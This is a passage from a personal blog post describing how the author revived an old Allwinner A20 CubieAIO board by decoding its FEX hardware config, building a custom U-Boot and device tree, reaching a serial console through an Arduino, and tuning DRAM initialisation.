We&#8217;re talking kernel and userspace from the Snowden era&#8212;before modern mitigations, before systemd, before half the internet got TLS. The thing hadn&#8217;t seen a security patch in a decade. Whatever was running in there, it felt less like Linux and more like a digital biohazard.</p><p>Still, I wasn&#8217;t ready to give up. I wanted to understand how it booted&#8212;what made it tick&#8212;and figure out why no other OS would work. Maybe I could port something modern. So I started digging.</p><p>My attempts to boot newer images&#8212;Armbian, Arch Linux ARM, anything even vaguely modern&#8212;kept failing. Nothing worked. So I shifted gears and decided to treat the existing Linaro image as a forensic artifact. I mounted it, examined the filesystems, and started reverse engineering what I could from the live system.</p><p>The image had two partitions, but I focused on the boot partition first. That&#8217;s where the early-stage magic happens, and clearly something in there was being picky. Inside, I found three files:</p><pre><code><code>-rw-r--r-- 1 root root 46808 Mar 23 2017 script.bin 
-rw-r--r-- 1 root root 155 Mar 23 2017 uEnv.txt 
-rw-r--r-- 1 root root 4975864 Mar 23 2017 uImage</code></code></pre><p>I&#8217;d never seen a <code>script.bin</code> before&#8212;at least, not in any modern system. I hadn&#8217;t installed Linux systems this old in a long time, and whatever this was, it looked... prehistoric. So I started researching it.</p><p>Turns out, <code>script.bin</code><a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html"> is a compiled version of a </a><em><a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html">FEX</a></em><a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html"> file</a>&#8212;a proprietary hardware description format used by older Allwinner SoCs before the <a href="https://en.wikipedia.org/wiki/Devicetree">Device Tree </a>standard took hold. It tells the bootloader how to configure DRAM, GPIOs, display interfaces, voltages, clocks&#8212;basically everything the SoC needs to bring up the board.</p><p>If you&#8217;re dealing with Allwinner boards, you&#8217;ll run into &#8220;sunxi&#8221; sooner or later. It&#8217;s not a company, but a loose collective of hackers who basically rebuilt support for these neglected chips from scratch. The sunxi-tools were crucial in my workflow, and their wiki&#8212;<a href="https://linux-sunxi.org/">linux-sunxi.org</a>&#8212;felt like the only place where the board actually existed. While Allwinner dumped ancient blobs and vanished, the sunxi community quietly reverse-engineered the bootloaders, documented every weird register, and got many of these boards running on modern Linux. They did the vendor&#8217;s job, better than the vendor ever did.</p><p>I extracted the FEX file using the <a href="http://www.imajeenyus.com/computer/20130301_android_tablet/android/fex2bin_etc.html">bin2fex</a> tool, finally uncovering a human-readable hardware configuration hidden inside the binary blob. This file was essentially the board&#8217;s DNA &#8212; a detailed map of clocks, voltages, GPIO assignments, and storage parameters critical for initializing the hardware correctly.</p><p>Here&#8217;s a snippet from the extracted FEX:</p><pre><code>[product]
version = "100"
machine = "cubietruck"

[platform]
eraseflag = 0

[target]
boot_clock = 912
dcdc2_vol = 1450
dcdc3_vol = 1300
ldo2_vol = 3000
ldo3_vol = 2800
ldo4_vol = 2800
storage_type = 0
power_start = 1

[clock]
pll3 = 297
pll4 = 300
pll6 = 600
pll7 = 297
pll8 = 336

[card_boot]
logical_start = 40960
sprite_gpio0 =

[card0_boot_para]
card_ctrl = 0
card_high_speed = 1
card_line = 4
sdc_d1 = port:PF00&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_d0 = port:PF01&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_clk = port:PF02&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_cmd = port:PF03&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_d3 = port:PF04&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
sdc_d2 = port:PF05&lt;2&gt;&lt;1&gt;&lt;default&gt;&lt;default&gt;
[...]</code></pre><p>Interestingly, even though my board is a CubieAIO, this configuration file identified the machine as &#8220;cubietruck&#8221; &#8212; a close relative but not compatible out of the box. This mismatch explained why existing U-Boot images built for CubieTruck or CubieBoard2 failed on my device.</p><p>With this insight, I had a direction: use the FEX as a base to build a modern U-Boot configuration for the CubieAIO. Unlike ancient boot blobs, modern Allwinner boards rely on U-Boot with Device Tree to handle hardware init cleanly. If I could map the FEX data to U-Boot&#8217;s platform config and DRAM setup, I&#8217;d finally control the boot chain&#8212;and from there, chainload any OS I wanted.</p><p>This was the foundation for my resurrection effort &#8212; turning legacy blobs into actionable hardware knowledge and laying the groundwork for a usable, up-to-date system.</p><p>While doing all of this, I also had the idea to connect the board to a monitor via HDMI. Until now, I was relying solely on the built-in LCD to see anything&#8212;bad idea, in hindsight. One day, just for fun, I inserted an Armbian SD card and powered it on with HDMI attached. Boom. U-Boot output. The board was alive. It couldn't get to the kernel, but I was inside <a href="https://github.com/u-boot/u-boot">U-Boot</a>.</p><p>That changed everything.</p><p>I spent hours poking around the U-Boot shell, trying to debug <a href="https://www.kernel.org/doc/html/v4.14/admin-guide/kernel-parameters.html">bootargs</a>, kernel loading paths, memory layouts. But nothing worked. This board wasn&#8217;t the same as the <a href="http://www.cubietech.com/product-detail/cubieboard2/">CubieBoard2</a> or <a href="http://cubieboard.org/2013/10/30/cubieboard3-cubietruck-is-all-ready/">CubieTruck</a>&#8212;even if it shared the same SoC. Something wasn&#8217;t lining up.</p><p>So I cloned mainline U-Boot, grabbed the <code>Cubietruck_defconfig</code> as a starting point from the <a href="http://cubieboard.org/2013/10/30/cubieboard3-cubietruck-is-all-ready/">configs/</a> directory., and began hacking together a config for the AIO. It should&#8217;ve been a minor patch. It wasn&#8217;t.</p><p>The CubieTruck config was a minimal bootloader with just enough to bring up memory and storage. But the AIO needed proper GPIO, PMIC, USB PHYs, even HDMI and SATA support if I wanted to use the full board. That meant digging through the messy sprawl of <a href="https://www.kernel.org/doc/html/next/kbuild/kconfig-language.html">Kconfig</a> options, enabling frameworks like <code>CONFIG_DM</code>, <code>CONFIG_PINCTRL</code>, and power regulators, then carefully layering in just the peripherals I needed. Even now I&#8217;m not entirely sure which of those options were necessary and which not, but somehow I made it all work together eventually.</p><p>Eventually I had a build that seemed solid&#8212;U-Boot booted, gave me logs, showed signs of life. But there was a problem: USB didn&#8217;t work. No keyboard, no input, no way to interact with the shell. And that meant I needed serial.</p><p>I didn&#8217;t have a <a href="https://exp-tech.de/en/collections/usb-uart">USB-UART</a> adapter lying around&#8212;but I did have an <a href="https://docs.arduino.cc/hardware/uno-rev3/">Arduino Uno R3</a>. I wondered if I could abuse it as a dumb serial passthrough. Turns out, I could.</p><p>First of all, I had to find the UART pins on the board, so I disassembled the device, and they weren&#8217;t this hard to find:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eJm8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eJm8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eJm8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3073121,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eJm8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!eJm8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd728a275-bac5-4b14-ba05-c8f1262dde9d_4000x3000.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">UART pins on CubieAIO</figcaption></figure></div><p>Here&#8217;s what my whole setup looked like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9vmW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9vmW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9vmW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:4647387,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9vmW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9vmW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa831243a-5231-4554-85cd-fe5d84c14251_4000x3000.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Arduino + Cubie debugging setup</figcaption></figure></div><p>And here&#8217;s how the wiring works:<br></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jXcT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jXcT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jXcT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:4058381,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jXcT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 424w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 848w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!jXcT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45340bce-0d99-4a50-bf06-16555a544ca2_4000x3000.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Arduino UART wiring setup</figcaption></figure></div><p>I lobotomized the Arduino by wiring RESET to GND, so the microcontroller stayed inert. Then I hooked up its TX/RX to the Cubie&#8217;s serial pins and ran <a href="https://en.wikipedia.org/wiki/GNU_Screen">screen</a> on my laptop. At first&#8212;nothing. No output. I shorted RX and TX on the Arduino just to test the loopback, and it echoed my keystrokes fine. So I swapped the Cubie TX/RX wires&#8212;because UART pin labeling is a mess&#8212;and boom. U-Boot logs, scrolling across my terminal. I was in.</p><p>This was the turning point. The screen came alive. I could finally see what the bootloader was doing&#8212;not through the guesswork of a blank LCD, but directly, precisely, and on my terms..</p><h1>Debugging USB and Migrating to Device Tree</h1><p>With serial access finally unlocked, I had visibility into the bootloader. U-Boot was alive&#8212;but USB wasn&#8217;t. No keyboard input, no device detection, just U-Boot logs complaining that it couldn&#8217;t find anything on the USB bus. That was a problem, because without USB, I couldn&#8217;t even interact with the system directly.</p><p>The cause wasn&#8217;t obvious, but I had a working theory: the old FEX config was lying to me.</p><p>Remember, I had extracted this FEX using <code>bin2fex</code>, and it even proudly announced:</p><pre><code>[product]
version = "100"
machine = "cubietruck"</code></pre><p>But this wasn&#8217;t a Cubietruck. And despite sharing some lineage, the USB layout clearly didn&#8217;t match. I needed to port this FEX config into a proper Device Tree Source (DTS) file&#8212;the modern standard used by U-Boot and Linux to describe hardware. This wasn't a simple rename-and-go job. FEX is a quirky INI-style format; DTS is hierarchical, symbolic, and tied to the kernel&#8217;s driver model. The translation required meticulous, manual work.</p><p>This wasn&#8217;t just a rename-and-go job. FEX is a janky INI-style format used in ancient Allwinner bootflows, while DTS is hierarchical, symbolic, and tied closely to the kernel&#8217;s driver model. The translation wasn&#8217;t clean.</p><p>So I did it manually. I took the extracted FEX as my ground truth, compared it to a known-good Cubietruck DTS from upstream U-Boot, and then rebuilt a custom <code>.dts</code> file line by line. I spent hours cross-referencing the FEX, a known-good Cubietruck DTS, and the A20 datasheet, matching FEX keys to their Device Tree counterparts...</p><p>I constantly cross-checked: what does the FEX say? What pins are mapped? Does this line up with what U-Boot is generating at runtime? It was meticulous, but it worked. After flashing the new U-Boot with my patched Device Tree, USB devices started responding. Still no OS yet, but now I had I/O&#8212;and, crucially, control.</p><h1>The DRAM Puzzle and the Memory Test Nightmare</h1><p>With USB finally cooperating, I thought I&#8217;d earned a breather. Instead, the board greeted me with two equally stubborn failure modes: either the display went dead right after the last <code>boot.cmd</code> message, or it just froze there, stuck mid-boot as if taunting me.</p><p>I went into full bootloader&#8211;kernel handshake troubleshooting mode. I reused the same device tree source from my earlier bootloader work, compiled a matching kernel image, and started experimenting. Some attempts were bare-bones manual &#8212; <code>mkimage</code>-wrapped <code>zImage</code> and DTB, loading them into memory, and issuing the boot commands by hand in U-Boot. Others were scripted into a <code>boot.cmd</code> that U-Boot would turn into a <code>boot.scr</code> so the whole sequence could run on its own. I even rolled the dice with an older cross-compiler, just to see if some subtle toolchain change was sabotaging the boot process.</p><p>Nothing changed the fact that the board either stared back at me with a frozen boot log or blinked into blackness.</p><p>I crafted a memtest script inside the bootloader and watched as it churned through the RAM. And then it hit me: errors everywhere. Not just a few glitches, but waves of faults scattered across the address space. The board looked like it had a dead or defective RAM chip.</p><p>I went back through the kernel&#8217;s <code>menuconfig</code>, scanning for any options that could plausibly influence my setup&#8212;DDR3 support, memory controller settings, bus widths, and so on. These had been sitting at their defaults; I hadn&#8217;t previously tuned them for this board, but I wanted to confirm nothing obvious was missing.</p><p>As another angle, I even swapped out my cross-compiler, moving from GCC 13.x down to the 12.3.rel1 release in case some subtle codegen quirk was creeping in. No dice&#8212;the behavior was unchanged.</p><p>At that point, frustration pushed me into U-Boot&#8217;s source tree, specifically the DRAM initialization code under <a href="https://github.com/u-boot/u-boot/tree/master/board/sunxi">board/sunxi</a>. The stock generic auto-configuration driver (<a href="https://github.com/u-boot/u-boot/blob/master/board/sunxi/dram_sun4i_auto.c">dram_sun4i_auto.c</a>) clearly wasn&#8217;t ideal for my CubieAIO. Most boards with stable bring-up had tightly tuned, board-specific DRAM init code. Since there was no <code>dram_cubieaio-a20.c</code> anywhere in tree, I wrote my own, using those tuned examples as a reference. This gave me a second DRAM configuration path to test&#8212;one explicitly crafted for my board instead of relying on the generic heuristics.</p><p>I wrote my own version of that file, painstakingly cross-referencing:</p><ul><li><p>The Allwinner A20 SoC <a href="https://dl.linux-sunxi.org/A20/A20%20User%20Manual%202013-03-22.pdf">technical reference manual</a></p></li><li><p>The <a href="https://www.alldatasheet.com/datasheet-pdf/download/533425/HYNIX/H5TQ4G43AFR.html">SK Hynix DDR3 datasheet for H5TQ4G63AFR</a> chips soldered on the board</p></li><li><p>The legacy FEX config values dumped from the original Linaro system</p></li></ul><p>This structure defined clock speed, memory type, rank count, density, bus width, CAS latency, and most importantly, the timing registers (<code>tpr0</code> through <code>tpr5</code>) and EMR (extended mode registers).</p><p>The single most elusive parameter was the DQS Gating Delay, a subtle calibration value needed to synchronize data strobes with the clock. The <a href="https://linux-sunxi.org/A10_DRAM_Controller_Calibration">the linux-sunxi wiki</a> described it as an experimentally discovered window, often narrow and unique to each board's physical layout.</p><p>I tried dozens of values, monitoring boot success and memory errors. To help, I leveraged <a href="https://github.com/ssvb/a10-dram-tools">ssvb&#8217;s a10-dram-tools</a>, a set of utilities that read live DRAM controller registers from a running Linaro kernel. This gave me feedback about the timings that a known-good system was using.</p><p>The closer I got to the documented &#8220;working&#8221; window, the fewer errors appeared. But still, the memtest reported failures. Confused, I analyzed the failing addresses: they clustered suspiciously around <code>0x79f5xxxx</code>.</p><p>After a eureka moment, it dawned on me &#8212; <em>this memory region was reserved and actively used by U-Boot itself</em> for storing the <a href="https://devicetree-specification.readthedocs.io/en/stable/flattened-format.html">Flattened Device Tree (FDT) blob</a>. I was hammering on live memory in use. No wonder it failed.</p><p>Using U-Boot&#8217;s <a href="https://docs.u-boot.org/en/latest/usage/cmd/bdinfo.html">bdinfo</a> command, I confirmed the FDT location. I then adjusted my memtest to exclude this range, and suddenly, <strong>all memory tests passed</strong> without a single error.</p><p>The RAM wasn&#8217;t broken. I was just shooting myself in the foot.</p><p>With this revelation, I finally had:</p><ul><li><p>A working custom DRAM init tailored precisely for CubieAIO hardware</p></li><li><p>Verified stable memory with no errors beyond reserved regions</p></li><li><p>USB working alongside serial console for full I/O access</p></li></ul><p>At last, the hardware was stable enough to boot a mainline Linux kernel &#8212; the true rebirth.</p><h1>Bringing up Graphics and the Fatal Test</h1><p>With the DRAM init solid and the kernel happily booting, I finally had a working shell. First on Armbian&#8212;booted on the very first try, no hacks, no debugging, just straight in. I thought, <em>finally, I&#8217;m in familiar territory.</em> I swapped out Armbian&#8217;s rootfs for my own Arch setup, and to my surprise, it still worked. The only hiccup was the root partition not being detected on the first go, but that was a solved problem in my book&#8212;two edits later, it was booting cleanly into Arch.</p><p>But the win wasn&#8217;t complete. I had no graphical interface at all. HDMI was dead, and 